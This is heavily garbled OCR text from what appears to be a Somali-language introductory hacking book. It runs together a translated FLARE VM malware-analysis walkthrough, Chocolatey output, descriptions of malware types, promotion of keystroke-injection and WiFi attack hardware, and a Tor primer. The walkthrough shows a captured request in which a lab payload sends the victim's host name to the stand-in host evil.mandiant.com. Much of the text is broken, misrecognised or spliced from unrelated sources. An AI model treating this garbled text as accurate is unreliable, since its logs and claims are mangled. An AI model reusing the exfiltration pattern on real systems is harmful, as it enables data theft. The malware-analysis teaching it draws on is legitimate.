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evil.mandiant.com adoo adeegsanaya hab maamuuska HTTP. Halkan
waxaan ku soo gaadaneynaa tilmaamayaal waxtar leh sida cinwaan
dhammaystiran oo HTTP ah, URL iyo xadhig suurtagal ah oo u gaar ah
Isticmaalaha Wakiilka. Sidoo kale, u fiirso in FakeNet-NG ay awood u
leedahay inay agoonsato habka saxda ah ee isgaarsiinta kaasoo ah
heerkal payload.exe. Magaca nidaamkani wuxuu u dhigmaa xargaha
gaarka ah ee aan ku soo ogaannay falangaynta ma guurtada ah, laakiin
ma fahmin sida loo isticmaalay.

O7/14/17 03:15:56 PH [

F FN Administrator: FakeNet-NG - fakenet

HTTPListenerso]

Responding with mime type: text/plain file: c:\program fil

Recyc es\pgthon27\11b\s1te packages\fakenet\defaultFiles/FakeNet . html

07/14/17
O7/14/17

[
!
n

; CExt.
SAEMOT /14717

Diverter]
Diverter]
Diverter]
Diverter]
HITPL1stenerst]
HTTPListenerso]

HTTPListenerso]
HTTPListenersg0]

HTTPListenerso]
HTTPListenersg0]

HTTPListenersg0]
HTTPListenerso]
HTTPListeners80]
HTTPListenerso]
HTTPListeners80]
HTTPListenerso]

HTTPListenerso]

HTTPListenerso]

Modifying outbound external TCP request packet:
from: 172.16.163.144: 49171 -> 192.0.2.123:80
to: 172.16.163.144:49171 -> 172.16.163.144:80
pid: 2776 name: levell_payload.exe

Receilved a POST request

POST /levell.mdt HTTP/1.1

Accept: =/x

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT

Host: euil.mandiant.com
Content-Length: 18
Cache-Control: no-cache

host=MALWAREHUNTER

Storing HTTP POST headers and data to http_20178714_151556]

Responding with mime type: text/html file: c:\program file[sS

:15: [
SAEl-\ python27\1lib\site-packages\fakenet\defaultFiles/FakeNet.html

i _Tij =7 A

i D

Isbarbardhigga natiijooyinkayaga iyo soosaarka Procmon ee Jaantuska
11, waxaan xaqiijin karnaa in khayaanada runtii ay mas'uul ka tahay
abuurista levell _payload.exe lagu fulin karo galka system32.
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B FN Administrator: FakeNet-NG - fakenet = | B |
| O7/14/17 03:16:47 PM [ HTTPListenersg] Res;_mndi.ng with mime type: text/html file: c:\program file|lN
s\python27\lib\site-packages\fakenet\defaultFiles/FakeNet.html
Recyqo7/14/17 ©3:16:50 PH [ Diverter] Modifying outbound external TCP request packet:
O7/14/17 83:16:50 PM [ Diverter] from: 172.16.163.144:49190 -> 192.0.2.123:80
B7/14/17 083:16:50 PH [ Diverterl to: 172 16 163 14449190 -> 172.16.163.144:80

7%} Process Monitor - Sysinternals: www.sysinternals.com E@

File Edit Event Filter Tools Options Help

[(Ed LB E v ASE & ERLZM

Time o_. Process Name PID Operation Path Result
31538 [Blevel32 exe 1864 mRegSeanuKey HKLM\System\CurrentControlSetiContro.. SUCCESS 7.0: Windows NT
3:15:38.... [0 level32 exe 1864 mRegQueryVa\ue HKLM\System\CurrentControlSet\Contro... NAME NOT FOUI e
3:15:38.... [ level32.exe 1864 gj‘Luad Image C:\Windows\SysWOW6E4\psapi.dil SUCCESS
3:15:38..) [ Tlevel32.exe 1864 gLCreateFHe C\Windows\SysWOW64\level1_payload.... SUCCESS

3:15:38._] level32.exe b= C:\Windows\SysWOW64'level1_payload... SUCCESS
31538 [0 /level32 exe ! C\Windows\SysWOW64\level1_payload - SUCCESS iHz 1 core 2047 M

3:15:38._. [0 level32 exe C:\Windows\SysWOW64\level1_payload... SUCCESS
3:15:38._.. [0 level32 exe 1864 !EB\C\OSE!FHE! C:\Windows\SysWOW64\level1_payload.. SUCCESS
31538 [Blevel32 exe 1864 H;CreateFMe C:\Windows\SysWOWG64\level1_payload.... SUCCESS
3:15:38.... [0 level32 exe 1864 H;QueryBaswclmer,, C:\Windows\SysWOW64\level1_payload... SUCCESS
3:15:38.... [ level32.exe 1864 H;C\oseFMe C:\Windows\SysWOW64\level1_payload.... SUCCESS c:\program file|s
3:15:38.... [W/level32.exe 1864 !g_-il..CreateFHe C:\Windows\SysWOW64\level 1_payload.... SUCCESS B
| 4 =, [N amna b Car e e m~iae e armaarmoan I . . A A~
o |« m

Showing 7,386 of 198,488 events (3.7%) Backed by virtual memery

Y IEEIEEE - - oo

j_20170714_151650|

lyada oo gayb ka ah geeddi-socodka falangaynta khayaanada, waxaan sii
wadi karnaa qoditaanka goto dheer anagoo ku shubanayna muunad
gaybiyaha kala-baxa ah isla markaana ku samaynayna falangayn dheeri
ah gudaha gashin-gadaha. Si kastaba ha noqotee, ma jecli inaan ku
raaxaysto madadaalo ardaydayada Koorsada Falanqaynta Malware anoo
la wadaagaya dhammaan jawaabaha halkan. Taasi waxay tiri dhammaan
galabyada ku habboon ee lagu fulinayo falangaynta noocaas ah horeyba
loogu soo daray gaybinta sida IDA Pro iyo Binary Ninja kala soocayaasha,
ururinta wanaagsan ee qashin-gaadaha iyo dhowr fiilooyin, iyo kuwo
kale oo badan si ay uga dhigaan howlahaaga injineernimada beddelka
sida ugu macquulsan.

FLARE VM waa mashruuc si isdaba joog ah u koraya una beddelaya. In
kasta oo aan isku dayeyno inaan daboolno dhacdooyin badan oo xaalad-
adeegsi ah intii suurtagal ah haddana waa wax aan suurtagal ahayn
dabeecadda mashruuca awgeed. Nasiib wanaag, FLARE VM waa mid aad
u fudud in la habeeyo maxaa yeelay waxaa lagu dhisay dusha sare ee
mashruuca Shukulaatada. Shukulaatada waa nidaam maareyn xirmo ku
saleysan Windows oo leh kumanaan xirmo. Liiska waxaad ka heli kartaa
halkan: https://chocolatey.org/packages. Marka lagu daro keydka
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shukulaatada dadweynaha, FLARE VM waxay isticmaashaa keydkeena
FLARE oo si joogto ah u koraya oo hadda ka kooban qgiyaastii 40 xirmo.

Waxaas oo dhan waxay ka dhigan yihiin waa haddii aad rabto inaad si
dhakhso leh ugu darto xirmo, aan dhahno Firefox, mar dambe uma
baahnid inaad ku dhex 5

wareegto websaydhka - B8 Adrinitetor: Commnd Prompt

Recycle Bin

C:\Windows\system32>cinst -y firefox
Chocolatey vB.10.7

Soosaara ha Installing the following packages:

Firefox
By installing you accept licenses for the packages.

ba rnaamijyada. Si fudud u Progress: Downloading Firefox 54.0.1... 100%

Firefox u54.0.1 [Approved]

fu r. konsol OO ku qor ;i::;::dyiz:;k:?:eziiezqigjtal1 completed. Performing other installation steps.

from *https://download.mozilla.org/?product=Ffirefox-54.0.1-$SL&os=win64&lang= e|
n-Us"'

ta | is ka Ja a ntus 12 Si toos Progress: 100% - Completed download of C:\Users\user\AppData\Local\Temp\chocolat

ey\Firefox\54.0.1\Firefox Setup 54.0.1.exe (45.63 MB).
Download of Firefox Setup 54.0.1.exe (45.69 MB) completed.

ah u soo dejiso oo u rakibo inetatiing Firofox. .

Firefox has been installed.
M k . firefox may be able to be automatically uninstalled.
XI rmo asta . The install of firefox was successful.
Software installed to 'C:\Program Files\Mozilla Firefox’

Chocolatey installed 1/1 packages.
See the leg for details (C:\ProgramData‘\chocolatey\legs\chocolatey.leg).

Morzilla Firefox

3 FNIEEEEEEE

Sidii aan ku soo sheegay bilowgii, mid ka mid ah cagabadaha ugu adag
ee Mashiinka Aaladda aan la maamulin ayaa isku dayaya inuu sii wado
dhammaan aaladaha ilaa taariikhda. FLARE VM ayaa xaliya dhibaatadan.
Waxaad si buuxda u cusbooneysiin kartaa nidaamka oo dhan adoo si
fudud u socodsiinaya amarka Jaantuska 13.

@ Administrator: Command Prompt - cup all = | B | &3

C:\Windows\system32>cup all

Chocolatey v0.10.7

Upgrading the following packages:

all

By upgrading you accept licenses for the packages.

010editor v8.0.0.20170515 is the latest version available based on your source(s
).
O10editor.install v8.0.0.20170515 is the latest version available based on your
source(s).

Tzip.install v16.4.0.20170506 is the latest version available based on your sour]
ce(s).

apimonitor v2.13.0.20160115 is the latest version available based on your source
(s).

binaryninja v1.0 is the latest version available based on your source(s).
checksum v0.2.0 is the latest version available based on your source(s).
chocolatey u@.18.7 is the latest version available based on your source(s).
chocolatey-core.extension v1.3.1 is the latest version available based onh your g
ource(s) .

Cygwin v2.8.2 is the latest version available based on your source(s).

delddot v3.1.41592.3405 is the latest version available based on your source(s).
die u1.01.20170428 is the latest version available based on your source(s).
dnspy v3.0.2.20170612 is the latest version available based on your source(s).
DotNet3.5 v3.5.20160716 is the latest version available based on your source(s).
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Nocyada malwars ga

1. Worms : Gooryaanka waxaa lagu kala gaadaa nuglaanta

barnaamijyada ama weerarada phishing. Marka dixirigu isku rakibo
xusuusta kombiyuutarkaaga, wuxuu bilaabaa inuu ku faafo

mashiinka oo dhan iyo xaaladaha gaarkood... shabakadaada oo
dhan.

Waxay kuxirantahay nooca dixiriga iyo tallaabooyinkaaga amniga, waxay

sameyn karaan dhaawac culus. Naadiyadan curyaamiinta ah can

e Wax ka beddel oo tirtir faylasha
e Ku duri barnaamijyada xunxun kombiyuutarada

e Ku celceliyaan naftooda marar badan si ay u xaalufin khayraadka

nidaamka
e Xadi xogtaada

e Ku rakib bannaanka habboon ee jabsadayaasha

Waxay si dhakhso leh u gaadsiin karaan tiro badan oo kambiyuutarro ah,
iyagoo isticmaalaya xawaaraha ballaadhinta iyo culeyska xad dhaafka ah

ee serverkaaga markay sii socdaan.
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2. Viruses : sika duwan dixirig, fayrasyadu waxay u baahan

yihiin nidaam hawlgal oo firfircoon oo horeyba u cudurka gabay
ama barnaamij uu ku shageeyo. Fayrasyadu waxay sida caadiga ah

ku lifaagan yihiin fayl la fulin karo ama dukumenti erey ah.

Dadka badankood waxay u badan tahay inay ka wargabaan in kordhinta
faylka .exe ay u horseedi karto arrimo haddii aysan ka imaanin ilo lagu
kalsoon yahay. Laakiin waxaa jira boqgolaal faylal kale oo kordhin ah oo

muujinaya feyl la fulin karo.

Badanaa wuxuu ku faafaa websaydhyada cudurka gaba, faylasha la
wadaago, ama emayl soo degsashada lifaaqa, fayrasku wuu iska jiifsan
doonaa illaa faylka martida loo yahay ama barnaamijka la hawlgelinayo.
Marka taasi dhacdo, fayrasku wuxuu awoodaa inuu iskiis isu ekaado oo

uu ku faafo nidaamkaaga.

Fayrasyada kombiyuutarka, liiska xiriiriyahaagu wuxuu u dhigmaa tareen
buuxa oo loogu talagalay hargabka caadiga ah. Waxay afduubataa
barnaamijyadaada waxayna isticmaashaa barnaamijyadaada gaarka ah si
aad ugu hindhiso gof walba... adigoo u diraya faylasha cudurka gaba
asxaabtaada, asxaabtaada iyo macaamiishaada. Sababtoo ah waxay
umuugqgataa inay ka imaaneyso ilo lagu kalsoonaan karo (adiga!), Waxay

leedahay fursad aad u sareysa oo faafitaan ah.
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3. Bots & Botnets: Bot waa kombiyuutar ay ku dhacday

malware-ka sidaa darteed meel fog ayaa laga xakamayn karaa

hacker.

Bot-kaas (aka kumbuyuutarka zombie), ayaa markaa loo isticmaali karaa
in lagu soo gaado weerarro badan ama in lagu nogdo gayb ka mid ah

ururinta bots (aka a botnet).

Botnets waxay caan ku yihiin hacker-show-off-yada (inta badan ee aad
ururiso, kuwa aad u xoog badan tahay jabsiga aad tahay) iyo
dambiilayaasha internetka ee faafiya furaha. Botnets waxaa ku jiri kara

malaayiin aalado ah markay faafinayaan iyadoo aan la ogaan.

Botnets waxay ka caawiyaan dadka wax jabsada dhammaan noocyada

waxqabadka xun, oo ay ka mid yihiin:

e Weerarrada DDoS
e Keylogging, shaashadda iyo gelitaanka kaamerada webka
e Faafinta noocyo kale oo furin ah

e Diraya fariimaha spam iyo phishing

4. Trojan Horses: Sida ay u muugatoba, Faras Trojan waa

barnaamij xaasidnimo ah oo iskaga dhigaya feylal sharci ah.

Sababtoo ah waxay umuugataa mid lagu kalsoonaan karo,
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adeegsadayaasha ayaa soo dejiya isla markaana... hey presto,

duufaannada cadowga.

Trojans laftoodu waa albaab. Si ka duwan dixirigga, waxay u baahan
yihiin marti-geliye ay shageeyaan. Markaad Trojan ku haysato

galabkaaga, khawaarijtu waxay u isticmaali karaan to

e Tirtir, wax ka beddel oo soo gaado xogta
e U gooso galabkaaga gayb ka mid ah botnet-ka

e Basaaso galabkaaga

® Hesho helitaanka shabakadaada

5. Ransomware: ransomware wuu diidaa ama xaddidayaa

marin u helka faylashaada. Kadibna waxay dalbaneysaa lacag bixin
(badanaa lagu sameeyo kripto-currencies) iyadoo laguu soo

celinayo.

Bishii Maajo 2017, weerar madax furasho ah wuxuu ku faafay 150
waddan oo hal maalin gudaheed ayuu waxyeelleeyey kumbuyuutarro
200k ah. Weerarka oo si toos ah loogu magac daray WannaCry, ayaa

sababay waxyeelo lagu giyaasay bogolaal milyan ilaa balaayiin dollar.
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WannaCry waxay saamaysay nidaamyada hawlgalka ee MS ee aan lahayn
balastarkii ugu dambeeyay ee loogu rakibay baylahnimo la yagaan. Si loo

yareeyo halista weerarada madax furashada...

e Had iyo jeer hayso Nidaamkaaga Hawlgalka casriyeyn

e Hayso softiweerkaaga ka hortagga fayraska

Dib u dhig faylashaada ugu muhiimsan

Ha ka furin lifaagyada ilaha aan la agoon (WannaCry waxaa lagu

faafiyay lifaaqa .js)

6. Adware & Scams : Adware is one of the better-known types
of malware. It serves pop-ups and display ads that often have no
relevance to you.

Some users will put up with certain types of adware in return for free
software (games for example). But not all adware is equal. At best, it’s
annoying and slows down your machine. At worst, the ads link to sites
where malicious downloads await unsuspecting users. Adware can also
deliver Spyware and is often easily hacked, making devices that have it
installed a soft target for hackers, phishers and scammers.

7. Spywa e . Spyware waxay si garsoodi ah u duubtaa

waxgabadkaaga internetka, uruurinta xogtaada iyo ururinta maclu-
umaadka shakhsiyeed sida magacyada isticmaalaha, furaha sirta
ah iyo dabeecadaha baafinta.
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Spyware waa hanjabaad caadi ah, oo badanaa loo qaybiyo sidii freeware
ama shareware oo leh hawl rafcaan leh dhamaadka hore oo leh hawl
garsoodi ah oo ku socota asalka oo aadan waligaa ogaan karin. Badanaa
waxaa loo isticmaalaa in lagu fuliyo xatooyada aqoonsiga iyo khayaa-
nada kaararka deynta.

Mar uun kombuyuutarkaaga, spyware wuxuu xogtaada ugu gudbiyaa
xayeysiistayaasha ama dambiilayaasha internetka. Qaar ka mid ah spy-
ware waxay rakibaan furin dheeraad ah oo isbedel ku sameeya gooba-
haaga.

8. Spam & PhIShlng . Phishing waa nooc ka mid ah weerarka

injineernimada bulshada, halkii uu ka nogon lahaa nooc ka mid ah
kharribaadda. Laakiin waa qaab caan ah oo lagu weeraro
internetka. Phishing waa lagu guuleystay tan iyo markii emayllada
la soo diray, fariimaha qoraalka ah iyo xiriiriyeyaasha shabakadaha
ee la abuuray ay u egyihiin inay ka yimaadeen ilo lagu kalsoon
yahay Waxay u direen dambiilayaal si khiyaano leh ku helaan

macluumaadka shaqsiyeed iyo kan dhaqgaale.

Qaarkood waa kuwo aad u casriyeysan oo khiyaanayn kara xitaa
isticmaaleyaashaada ugu aqoonta badan. Gaar ahaan kiisaska meesha
cinwaanka emaylka xiriiriyaha la ogyahay waxyeelleeyeen waxayna u
muugataa inaad ka heleyso tilmaamo maamulahaaga ama

asxaabtaada IT-ga. Kuwa kale waa kuwo aad u horumarsan oo si
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fudud spam ugu diraya emayllo badan oo ay kari karaan iyaga oo leh

farriin ku saabsan 'hubinta faahfaahinta akoonkaaga bangiga'.

Qalabkaad u bahantahay inaad
bilowdo hacking

Hadaba waxaad u bahantay qalabka aad ku bilaabi lahayd hacking
marka aan mid mid ku sharaxo ana koo eegayna wax qabad kooda iyo

siyabooyinka loo isticmalayo ee hada aan u hol galno :

Hack 5 waa hackers isu badalay

shirkaad galabka hacking soo sarta

taso galabaydooda ku fududaynaya hawshada lakiin wadamada Africa
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lagama helo lakiin ku wa ku gara waad samaysan karta hadad khibrad

u leeday hardware

Qalab yada aay sameeyan waxa kamida :

1. Usb Rabar ducy : Qiyaas inaad ku xirtid kumbuyuutar aad

moodo inaan wax dambi ah lahayn kombiyuutar oo aad dibedda ku
rakibayso, dukumiintiyada la sifeynayo, ama aad soo gaadaneyso

agoonsi.

Waxyaabo yar oo si fiican loo farsameeyay ayaa wax walba suurtagal
ah. Haddii kaliya aad haysatid dagiigado yar, xusuusta sawir gaadista

iyo saxnaanta makiinada saxda ah.

USB Rubber Ducky wuxuu ku duraa furaha durdurrada xawaare ka
sarreeya bani-aadamka, isagoo ku xad gudbaya kalsoonida ay

kumbuyuutarradu ku leeyihiin bini-aadamka adoo iska dhigaya
kiiboodh.

Soosaarida cirbadeynta keystroke ee 2010,

USB Rubber Ducky wuxuu nogday aaladda

gasabka leh. lyada oo la adeegsanayo
naqgshad garsoon iyo lugad fudud oo loo
yagaan "Ducky Script", USB-kan xun wuxuu dhex galayaa nidaamyada

iyo mala-awaalka adduunka oo dhan.
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2. WIFI PINEAPPLE :

Heerka sare ee mashiinka warshadaha ayaa isbeddelay. Ku qalabee

kooxdaada cas “WiFi Pineapple® Mark VII”. Cusub la safeeyey.

Ku automate xisaabinta WiFi dhammaan ololayaasha cusub oo
natiijooyin wax ku ool ah ka hel warbixinnada giimeynta nuglaanta.
Ku amro hawada dashboor cusub oo is-dhexgal ah, oo ku joog
bartilmaameedka iyo baaxadda wejiga hoggaanka marin habaabinta

ee weerarada horumarsan ee nin-ka-dhexe.

Nidaamyada shabakadaha soo socda waxay isku daraan raadiyayaal
door ku saleysan iyo Hak5 patine patent patent ah si ay u keenaan
natiijooyin cajaa'ib leh. Adag iyo culeys ayaa laga baaray jawiga ugu

adag.

WiFi Pineapple Mark VII cusub wuxuu soo
bandhigayaa waxgabad aan caadi aheyn oo ka
yimid shebekad fudud oo fudud oo leh nidaam
ballaaran oo nidaamsan oo barnaamijyo ah,
ololeyaal fara badan oo otomaatig ah, iyo Cloud

C2 si loogu helo meel fog.
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Qalabyada kale laga ga bahanyay

1.Raspberry Pi: Waxaan hadda ku jirnaa

jiilka saddexaad ee kombiyuutaradaan
miisaaniyadda yar, oo loo adeegsan karo
siyaabo badan. Tusaalaha caadiga ah ee

hubinta amniga ayaa ah in la isticmaalo

Raspberry Pi oo leh xirmadiisa batteriga ku
habboon, barxad gaybinta sida Kali Linux,
iyo codsiyada sida FruityWifi, oo si wada jir ah ugu dhagma sida mindi

ciidanka Switzerland ee baaritaanka galinka

2.Lockpicks: Qalabkani waa aaladaha ugu muhiimsan ee loo

isticmaalo qufulka - si kale haddii loo dhigo farshaxanka furitaanka
gufulka ama aaladda amniga jirka iyadoo la falangeynayo ama loo
maareynayo geybaheeda si macquul ah, iyada oo aan la helin furaha
asalka ah. Waxaa jira cabirro aad u tiro badan iyo gqaabab ama xirmo,

kuwaas oo xaalado badan khatar ku ah amniga jirka.
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Galitanka Dark Web & Deep Web

Dark web waa shabakada madow ee loo sameeyay ina lagu gudbiyo

waxayabaha suga madow iyo wixi dawladu ogalayn kaso kaliya tor
browser uu gali karo marka si website ka mida u tagdo link giisa u
bahantay sida suuga canka ee suntan iibiya Silk road lakiin linka ku ma
soo dari karo sabab too ah wax diinta wafis nayn ba uu ka kooban yay

dark web.

Deep web waa dhanka shabakada ee search browser soo gaban

Karin tusale group whats app ka link mooye ma gali kartiid sidaso kale
waxa jira web siteyo tor browser kaliya lagu gali karo sida ku dawladu
sirtooda ku gariso waxa ka mida hidden eye oo ah shabakada ridit ga

deep linka gali markaad tor kala soo dagto (https://www.torproject.org/)

Linka hidden services waa (http://www.propubar6espa33w.onion/) lakin ku

ma shagayno browser tor ahaayn.

Tor Browser

Tor waa barnaamij bilaash ah oo furan oo loogu talagalay in lagu
oggolaado isgaarsiinta garsoon adiga oo hagida taraafikada internetka
ee ka kooban in ka badan toddobo kun oo Readsin ah oo ka kooban

halka loo yagaan 'Placesin' oo ka kooban goobta adeegsadaha iyo


https://www.torproject.org/
https://www.propub3r6espa33w.onion/
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adeegsiga qof kasta oo sameeya kormeerka shabakadda ama
falangaynta taraafikada. Isticmaalka TR-yada ayaa sii adkaaneysa in
nashaadaadka internetka la raadsado: Tan waxaa ka mid ah
"boogashooyinka bogga internetka ee internetka, qoraalada
internetka, iyo foomamka kale ee isgaarsiinta". Isticmaalka kale ee
isgaarsiinta ". lyada oo ah xorriyad iyo awood ay ku sameeyaan

isgaarsiinta garsoodiga ah iyagoo ku hayaya howlahooda internetka

ee loo yagaan 'uponisison’.

Jadwalka basasha waxaa lagu hirgaliyaa sifeynta lakabka arjiga ee
xidhmada borotokoolka isgaarsiinta, oo loo bogaadiyay sida lakabyada
basal. Tor Tor TROPT waxay ka koobnaataa xogta soo socota ee
cinwaanka IP-ga ee soo socota, marar badan oo waxay u dirtaa

wareegga dalwaddu ka kooban yahay isku xigxiga, si isdaba joog ah u
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xula. Daraasad kasta ayaa dhajiya lakabka sirta ah si loo muujiyo relay
soo socda ee wareegga si uu ugu gudbiyo xogta si garsoodi ah ee ku
saabsan xogta garsoon ee ku haynta. Dib-u-dhafka ugu dambeeya ee
Relaypts lakabka ugu hooseeya ee sirta ah oo u diraa xogta asalka ah
halka ay u socoto iyada 0o aan la muujin ama garanaynin cinwaanka
IP-ga ee IP. Sababta oo ah wadooyinka isgaadhsiinta ayaa gayb ahaan
garinaysa hot-ka kasta ee wareegga, gaabkani wuxuu baabi'inayaa hal
dhibic kasta oo ay wadaagaan isku-darka isku-darka ah ee lagu xirayo

la-socodka shabakadda ee ku tiirsan in ay ogaato halka ay ku jirto.
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Nakhtiin guud
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HADABA HACKER KA MUSTAQBALKOW WAXAAD TAHAY
QOF AAD UGA FA’IDAYSTAY XIRFADA HACKING WAXAAN
RAJAYNAYA INU BUUGANI KU ANFACAY BUUGTAN KU
XIGSI SI AAAD SKILLS GA KOR UGU SII QADIID:

LINUX BASICS Real-World
FOR HACKERS

Black Hat Python  Black Hat Go

: Python Programming for Go Programmin,
Hug Huntmg Hackers and Pentesters . for Ilackersg,nd Pengzsters




